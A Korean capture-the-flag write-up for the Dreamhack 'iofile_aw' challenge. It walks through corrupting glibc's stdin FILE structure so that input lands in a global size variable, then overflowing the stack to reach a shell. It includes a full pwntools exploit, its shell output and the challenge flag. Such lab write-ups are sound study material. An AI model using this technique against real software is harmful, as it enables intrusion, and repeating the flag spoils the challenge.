[dreamhack] iofile_aw writeup

1. 문제

thumbnail
iofile_aw

이 문제는 서버에서 작동하고 있는 서비스(iofile_aw)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/55

2. 풀이


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char buf[80];

int size = 512;
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void read_str()
{
    fgets(buf, sizeof(buf) - 1, stdin);
}

void get_shell()
{
    system("/bin/sh");
}

void help()
{
    printf("read: Read a line from the standard input and split it into fields.\n");
}

void read_command(char *s)
{
    /*No overflow here */
    int len;
    len = read(0, s, size);
    if (s[len - 1] == '\x0a')
        s[len - 1] = '\0';
}

int main(int argc, char *argv[])
{
    int idx = 0;
    int sel;
    char command[512];
    long *dst = 0;
    long *src = 0;
    memset(command, 0, sizeof(command) - 1);

    initialize();

    while (1)
    {
        printf("# ");
        read_command(command);

        if (!strcmp(command, "read"))
        {
            read_str();
        }
        else if (!strcmp(command, "help"))
        {
            help();
        }
        else if (!strncmp(command, "printf", 6))
        {
            if (strtok(command, " "))
            {
                src = (long*) strtok(NULL, " ");
                dst = (long*) stdin;
                if (src)
                    memcpy(dst, src, 0x40);
            }
        }
        else if (!strcmp(command, "exit"))
        {
            return 0;
        }
        else
        {
            printf("%s: command not found\n", command);
        }
    }
    return 0;
}

read_command 함수를 통해 command 변수에 size == 512만큼 입력을 받고, 이를 다른 문자열 (read, help, printf)과 비교해서 실행한다.

  • read : buf 변수에 입력을 제한없이 받음
  • printf : printf 단어 뒤에 들어오는 내용을 stdin 구조체에 0x40만큼 입력받음

지금까지 _IO_FILE 문제와 다르게, 이번에는 stdin 구조체에 0x40만큼만 입력가능한 제한사항이 걸린다. 이때문에 vtable을 직접적으로 수정하거나 하는게 불가능하다.

그런데 stdin 구조체 일부를 수정할 수 있는 것 외에도 read_command 함수에서 buf 변수에 입력을 받도록 되어있는데 이때 stdin 구조체를 기준으로 입력을 주도록 되어있다. 때문에 stdin 구조체를 수정해서 buf 변수에 입력하는 것이 아닌 다른 곳에 입력할 수 있을 것이다.

2.1. fgets 함수

fgets 함수는 _IO_fgets() -> _IO_getline() -> _IO_getline_info() 형태로 연결된다.

이때 _IO_getline_info 함수를 보면 아래와 같다.

size_t
_IO_getline_info (FILE *fp, char *buf, size_t n, int delim,
		  int extract_delim, int *eof)
{
  char *ptr = buf;
  if (eof != NULL)
    *eof = 0;
  if (__builtin_expect (fp->_mode, -1) == 0)
    _IO_fwide (fp, -1);
  while (n != 0)
    {
      ssize_t len = fp->_IO_read_end - fp->_IO_read_ptr;
      if (len <= 0)
	{
	  int c = __uflow (fp);
	  if (c == EOF)
	    {
	      if (eof)
		*eof = c;
	      break;
	    }
	  if (c == delim)
	    {
 	      if (extract_delim > 0)
		*ptr++ = c;
	      else if (extract_delim < 0)
		_IO_sputbackc (fp, c);
	      if (extract_delim > 0)
		++len;
	      return ptr - buf;
	    }
	  *ptr++ = c;
	  n--;
	}
      else
	{
	  char *t;
	  if ((size_t) len >= n)
	    len = n;
	  t = (char *) memchr ((void *) fp->_IO_read_ptr, delim, len);
	  if (t != NULL)
	    {
	      size_t old_len = ptr-buf;
	      len = t - fp->_IO_read_ptr;
	      if (extract_delim >= 0)
		{
		  ++t;
		  if (extract_delim > 0)
		    ++len;
		}
	      memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
	      fp->_IO_read_ptr = t;
	      return old_len + len;
	    }
	  memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
	  fp->_IO_read_ptr += len;
	  ptr += len;
	  n -= len;
	}
    }
  return ptr - buf;
}

중간에 int c = __uflow (fp); 이런 코드가 존재하는데, 이 코드는 len = _IO_read_end - _IO_read_ptr이 0이거나 0보다 작을 때 동작한다.

우리는 시스템콜 read를 통해 읽어오도록 하고 싶기 때문에 read_endread_ptr 필드는 사용하지 않기 위해 0으로 채울 것이다.

__uflow()함수는 _IO_UFLOW -> _IO_default_uflow -> _IO_file_underflow -> _IO_new_file_underflow 순으로 호출한다.

int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);
      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);
      _IO_release_lock (stdout);
    }
  _IO_switch_to_get_mode (fp);
  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}

이 코드에서 count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); 이런 방식으로 read 시스템콜이 호출된다.

따라서 _IO_buf_base를 기준으로 입력을 넣도록 할 수 있고, 마침 0x40만큼 넣으면 _flags 필드부터 _IO_buf_base까지 입력이 가능하다.

2.2. 시나리오

이를 통해 buf 변수가 아닌 size 변수에 입력을 크게 넣으면 command변수에 더 많은 입력을 통해서 bof를 발생시킬 수 있고, exit을 활용해서 리턴 주소에 get_shell 함수 주소를 넣으면 된다.

먼저 printf를 통해 stdin 구조체를 덮자.

fake_iofile = p64(0xfbad2080)    # _flags
fake_iofile += p64(0)   # _IO_read_ptr
fake_iofile += p64(0)   # _IO_read_end
fake_iofile += p64(0)   # _IO_read_base
fake_iofile += p64(0)   # _IO_write_base
fake_iofile += p64(0)   # _IO_write_ptr
fake_iofile += p64(0)   # _IO_write_end
fake_iofile += p64(elf.symbols["size"])   # _IO_buf_base

p.sendafter(b"# ", b"printf " + fake_iofile)

그 뒤에 read를 통해 buf가 아닌 size에 원하는 값을 입력할 수 있다. 이러면 command에 1000바이트만큼 입력이 가능하다.

p.sendlineafter(b"# ", b"read")
p.sendline(p64(1000))

마지막으로 exit을 통해서 리턴 주소를 get_shell함수 주소로 덮도록 command를 조작하면 끝이다.

payload = b"exit\x00"
payload += b"a" * (0x220 - len(payload))
payload += b"b" * 8
payload += p64(elf.symbols["get_shell"])

p.sendlineafter(b"# ", payload)

최종 exploit과 결과는 아래와 같다.


#p = process("./iofile_aw")
p = remote("host8.dreamhack.games", 20011)
elf = ELF("./iofile_aw")

fake_iofile = p64(0xfbad2080)    # _flags
fake_iofile += p64(0)   # _IO_read_ptr
fake_iofile += p64(0)   # _IO_read_end
fake_iofile += p64(0)   # _IO_read_base
fake_iofile += p64(0)   # _IO_write_base
fake_iofile += p64(0)   # _IO_write_ptr
fake_iofile += p64(0)   # _IO_write_end
fake_iofile += p64(elf.symbols["size"])   # _IO_buf_base

p.sendafter(b"# ", b"printf " + fake_iofile)

p.sendlineafter(b"# ", b"read")
p.sendline(p64(1000))

payload = b"exit\x00"
payload += b"a" * (0x220 - len(payload))
payload += b"b" * 8
payload += p64(elf.symbols["get_shell"])

p.sendlineafter(b"# ", payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/iofile_aw$ python3 e_iofile_aw.py 
[+] Starting local process './iofile_aw': pid 3126514
[+] Opening connection to host8.dreamhack.games on port 9191: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/iofile_aw/iofile_aw'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
$ id
uid=1000(iofile_aw) gid=1000(iofile_aw) groups=1000(iofile_aw)
$ cat flag
DH{2e862835c1695aff894bc9149af81d4939ef72ba10abad7b91a9959967894c89}

이유는 모르겠지만 바이너리에 libc 버전 수정을 해줘야 동작한다. libc 버전에 따른 차이가 없을줄 알았는데 뭔가 함수 흐름에 따라 패치된게 있는듯…

해결~